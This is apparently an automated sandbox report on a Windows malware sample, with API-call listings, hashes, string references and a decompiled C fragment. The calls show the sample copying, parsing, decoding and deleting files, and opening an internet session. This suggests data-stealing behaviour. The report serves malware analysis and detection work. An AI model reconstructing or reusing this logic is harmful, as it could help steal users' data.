ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00409198
StrStrA.SHLWAPI(?,00787B30), ref: 004091A9
lstrlen.KERNEL32(00787B30), ref: 004091C9
StrStrA.SHLWAPI(00000000,00787A58), ref: 004091ED
lstrcat.KERNEL32(00000000,007874A8), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,007873E8), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,00787418), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,007882F8), ref: 004092BA
lstrlen.KERNEL32(007882F8), ref: 004092C8
StrStrA.SHLWAPI(00000000,007883B8), ref: 004092E6
lstrcat.KERNEL32(00000000,007872D8), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,007883B8), ref: 00409350
lstrlen.KERNEL32(007883B8), ref: 0040935E
StrStrA.SHLWAPI(00000000,007889A0), ref: 0040937C
lstrcat.KERNEL32(00000000,00787318), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

Xzx, xrefs: 004091DF
, xrefs: 0040908F
0{x, xrefs: 0040919E, 004091C2
(zx, xrefs: 004090CD
sx, xrefs: 0040923C

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $(zx$0{x$Xzx$sx
API String ID: 3141130001-3415251677
Opcode ID: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005792B0, Relevance: 68.5, APIs: 34, Strings: 5, Instructions: 236stringfileCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A0C4), ref: 00579305
lstrcat.KERNEL32(?,00414018), ref: 00579317
lstrcat.KERNEL32(?,(zx), ref: 0057932B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0057935B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00579381
GetFileSize.KERNEL32(00000000,00000000), ref: 00579390
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005793A9
new[].LIBCMTD ref: 005793B9
ReadFile.KERNEL32(00000000,?,00000000,0041ABA8,00000000), ref: 005793E8
StrStrA.SHLWAPI(?,0{x), ref: 005793F9
lstrlen.KERNEL32(0{x), ref: 00579419
StrStrA.SHLWAPI(00000000,Xzx), ref: 0057943D
lstrcat.KERNEL32(0041A838,0041A334), ref: 00579463
lstrcat.KERNEL32(0041A838,?), ref: 00579474
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00579486
lstrcat.KERNEL32(0041A838,sx), ref: 00579499
lstrcat.KERNEL32(0041A838,00000020), ref: 005794A9
lstrcat.KERNEL32(0041A838,00418BC4), ref: 005794BB
lstrcat.KERNEL32(0041A838,0041A144), ref: 005794CE
lstrcat.KERNEL32(0041A838,00000000), ref: 005794E2
lstrcat.KERNEL32(0041A838,00418BC4), ref: 005794F3
StrStrA.SHLWAPI(?,0041A5B8), ref: 0057950A
lstrlen.KERNEL32(0041A5B8), ref: 00579518
StrStrA.SHLWAPI(00000000,0041A5B4), ref: 00579536
lstrcat.KERNEL32(0041A838,0041A06C), ref: 0057955B

Part of subcall function 005779F0: lstrlen.KERNEL32(0057956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00577A3B
Part of subcall function 005779F0: CryptStringToBinaryA.CRYPT32(0057956D,00000000), ref: 00577A46

lstrcat.KERNEL32(0041A838,00000000), ref: 00579578
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00579589
StrStrA.SHLWAPI(?,0041A5B4), ref: 005795A0
lstrlen.KERNEL32(0041A5B4), ref: 005795AE
StrStrA.SHLWAPI(00000000,0041A70C), ref: 005795CC
lstrcat.KERNEL32(0041A838,0041A14C), ref: 005795F1

Part of subcall function 005779F0: lstrcat.KERNEL32(?,0041401A), ref: 00577B09
Part of subcall function 005779F0: lstrcat.KERNEL32(?,0041401A), ref: 00577B1D
Part of subcall function 005779F0: lstrcat.KERNEL32(0041401A,0041401A), ref: 00577B3E

lstrcat.KERNEL32(0041A838,00000000), ref: 0057960E
lstrcat.KERNEL32(0041A838,00418BC0), ref: 0057961F
CloseHandle.KERNEL32(00000000), ref: 0057963D

Strings

(zx, xrefs: 0057931D, 00579323
0{x, xrefs: 005793EE, 005793F4, 00579412, 00579418
, xrefs: 005792DF
Xzx, xrefs: 0057942F, 00579435
sx, xrefs: 0057948C, 00579491

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $(zx$0{x$Xzx$sx
API String ID: 3141130001-3415251677
Opcode ID: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction ID: 04451095f5b9df8a225537bfec876e51310f84ee710c6c97b149adfd56aabf79
Opcode Fuzzy Hash: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction Fuzzy Hash: D6A11AB5A11208AFC715EBA4ED88FDA77F9EB4C300F00C5A9F60993251C734A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(00787728), ref: 00406CAA

Strings

(wx, xrefs: 00406CA4

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: LibraryLoadVersion
String ID: (wx
API String ID: 3209957514-4156545141
Opcode ID: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: 48e87a5de84f717074b832ed21c0577e90c690f55c8f4d6b53ea31534da44a6a
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,007873F8), ref: 00407EF9
lstrcat.KERNEL32(?,00787408), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,007873F8), ref: 00407F58
lstrcat.KERNEL32(?,00787408), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00577FA0, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00577FB5
lstrcat.KERNEL32(?,00414018), ref: 00577FC7

Part of subcall function 0057BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0057BB21

lstrcat.KERNEL32(?,00000000), ref: 00577FDF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00577FF2
wsprintfA.USER32 ref: 0057801F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057806F
RtlAllocateHeap.NTDLL(00000000), ref: 00578076
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00578122
lstrcat.KERNEL32(?,0041A48C), ref: 00578149
lstrcat.KERNEL32(?,0041A15C), ref: 0057816E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00578180
lstrcat.KERNEL32(?,0041A48C), ref: 005781A8
lstrcat.KERNEL32(?,0041A15C), ref: 005781CE

Part of subcall function 00577480: memset.MSVCRT ref: 005774D2
Part of subcall function 00577480: LocalAlloc.KERNEL32(00000040,?), ref: 00577521
Part of subcall function 00577480: lstrcat.KERNEL32(?,00000000), ref: 00577587

lstrcat.KERNEL32(?,00418BE0), ref: 005781FE
lstrcat.KERNEL32(?,?), ref: 00578212
lstrcat.KERNEL32(?,004191EC), ref: 00578224
lstrcat.KERNEL32(?,?), ref: 00578238
lstrcat.KERNEL32(?,004191EC), ref: 0057824A
lstrcat.KERNEL32(?,?), ref: 0057825E
lstrcat.KERNEL32(?,004191EC), ref: 00578270
lstrcat.KERNEL32(?,?), ref: 00578284
lstrcat.KERNEL32(?,004191EC), ref: 00578296
lstrcat.KERNEL32(?,?), ref: 005782AA
lstrcat.KERNEL32(?,004191EC), ref: 005782BC
lstrcat.KERNEL32(?,?), ref: 005782D0
lstrcat.KERNEL32(?,004191EC), ref: 005782E2
lstrcat.KERNEL32(?,00000000), ref: 00578320
lstrcat.KERNEL32(?,00418BC4), ref: 00578332
lstrlen.KERNEL32(?), ref: 00578344
DeleteFileA.KERNEL32(?), ref: 00578394

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction ID: cb00685e0761198c7c15a539691aa6fe72b82c017530f618c2ad72bb9444e381
Opcode Fuzzy Hash: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction Fuzzy Hash: 50B183B5A51108ABCB10EBA4ED8DFEA77B8BF4C704F008594F60997151CB34AAA1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,007873F8), ref: 00408DEA
lstrcat.KERNEL32(?,00787408), ref: 00408E10
lstrcat.KERNEL32(?,007873F8), ref: 00408EC8
lstrcat.KERNEL32(?,00787408), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Strings

H*x, xrefs: 00408C59

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: H*x
API String ID: 3196222039-2960994380
Opcode ID: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00578E50, Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00578E7F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00578ECC
RtlAllocateHeap.NTDLL(00000000), ref: 00578ED3
lstrcat.KERNEL32(?,0041A48C), ref: 0057903A
lstrcat.KERNEL32(?,0041A15C), ref: 00579060
lstrcat.KERNEL32(?,0041A48C), ref: 00579118
lstrcat.KERNEL32(?,0041A15C), ref: 0057913E
lstrcat.KERNEL32(?,?), ref: 00579152
lstrcat.KERNEL32(?,004191EC), ref: 00579164
lstrcat.KERNEL32(?,?), ref: 00579178
lstrcat.KERNEL32(?,004191EC), ref: 0057918A
lstrcat.KERNEL32(?,?), ref: 0057919E
lstrcat.KERNEL32(?,004191EC), ref: 005791B0
lstrcat.KERNEL32(?,?), ref: 005791C4
lstrcat.KERNEL32(?,004191EC), ref: 005791D6
lstrcat.KERNEL32(?,?), ref: 005791EA
lstrcat.KERNEL32(?,004191EC), ref: 005791FC
lstrcat.KERNEL32(?,?), ref: 00579210
lstrcat.KERNEL32(?,004191EC), ref: 00579222
lstrcat.KERNEL32(?,?), ref: 00579236
lstrcat.KERNEL32(?,00418BC4), ref: 00579248
lstrlen.KERNEL32(?), ref: 0057925A

Strings

H*x, xrefs: 00578EA9, 00578EAF

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: H*x
API String ID: 3196222039-2960994380
Opcode ID: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction ID: 09144c6f66fc89a439c29597d8d8dca476d8c10a6e1884d4f070902639fe4cf2
Opcode Fuzzy Hash: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction Fuzzy Hash: 3DC160B5A01218AFCB24DF64DD89BEA7BB5BF48704F0081D8F209A7291C7359E90CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000000,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,007874A8), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,007873E8), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,00787418), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,007872D8), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,00787318), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Strings

sx, xrefs: 00407C34

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: sx
API String ID: 3522136165-3204269991
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00577D10, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00578AFE,?,?,0041ABAC,00000000,00000000), ref: 00577D29
lstrcat.KERNEL32(?,00414018), ref: 00577D3B

Part of subcall function 0057BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0057BB21

lstrcat.KERNEL32(?,00000000), ref: 00577D53
CopyFileA.KERNEL32(?,?,00000001), ref: 00577D66
DeleteFileA.KERNEL32(?), ref: 00577F8C

Part of subcall function 00577480: memset.MSVCRT ref: 005774D2
Part of subcall function 00577480: LocalAlloc.KERNEL32(00000040,?), ref: 00577521
Part of subcall function 00577480: lstrcat.KERNEL32(?,00000000), ref: 00577587

lstrcat.KERNEL32(?,00000000), ref: 00577E47
lstrcat.KERNEL32(0041A838,0041A334), ref: 00577E5B
lstrcat.KERNEL32(0041A838,?), ref: 00577E6C
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00577E7E
lstrcat.KERNEL32(0041A838,sx), ref: 00577E91
lstrcat.KERNEL32(0041A838,?), ref: 00577EA1
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00577EB3
lstrcat.KERNEL32(0041A838,0041A144), ref: 00577EC6
lstrcat.KERNEL32(0041A838,?), ref: 00577EDA
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00577EEB
lstrcat.KERNEL32(0041A838,0041A06C), ref: 00577EFF
lstrcat.KERNEL32(0041A838,?), ref: 00577F13
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00577F25
lstrcat.KERNEL32(0041A838,0041A14C), ref: 00577F38
lstrcat.KERNEL32(0041A838,?), ref: 00577F4B
lstrcat.KERNEL32(0041A838,00418BC0), ref: 00577F5D

Strings

sx, xrefs: 00577E84, 00577E89

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: sx
API String ID: 3522136165-3204269991
Opcode ID: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction ID: 041964b2bbe8ccfc4f184112bdba2b5e236faff0cefc34a47e028c976f119da3
Opcode Fuzzy Hash: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction Fuzzy Hash: AD614FB1611104AFC710EBA4EE48DEA37F8FF4C305F008569F60983161D678EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 36.2, APIs: 18, Strings: 6, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x7822d0
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x7850c0
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x786558
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x7822d0
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x7850c0
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x7866a8
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x7822d0
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x7850c0
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x786420
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x7822d0
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x7850c0
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x786648
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x7822d0
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x7850c0
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x7866c0
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x7822d0
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x7850c0
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x7853a0
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x787148
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x787030
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x7870a8
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x785100
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x7870d0
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x786f68
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,007822D0), ref: 0040549C
lstrcat.KERNEL32(?,007850C0), ref: 004054B0
lstrcat.KERNEL32(?,00786558), ref: 004054C4
lstrcat.KERNEL32(?,007822D0), ref: 004054D7
lstrcat.KERNEL32(?,007850C0), ref: 004054EB
lstrcat.KERNEL32(?,007866A8), ref: 004054FF
lstrcat.KERNEL32(?,007822D0), ref: 00405512
lstrcat.KERNEL32(?,007850C0), ref: 00405526
lstrcat.KERNEL32(?,00786420), ref: 0040553A
lstrcat.KERNEL32(?,007822D0), ref: 0040554D
lstrcat.KERNEL32(?,007850C0), ref: 00405561
lstrcat.KERNEL32(?,00786648), ref: 00405575
lstrcat.KERNEL32(?,007822D0), ref: 00405588
lstrcat.KERNEL32(?,007850C0), ref: 0040559C
lstrcat.KERNEL32(?,007866C0), ref: 004055B0
lstrcat.KERNEL32(?,007822D0), ref: 004055C3
lstrcat.KERNEL32(?,007850C0), ref: 004055D7
lstrcat.KERNEL32(?,007853A0), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
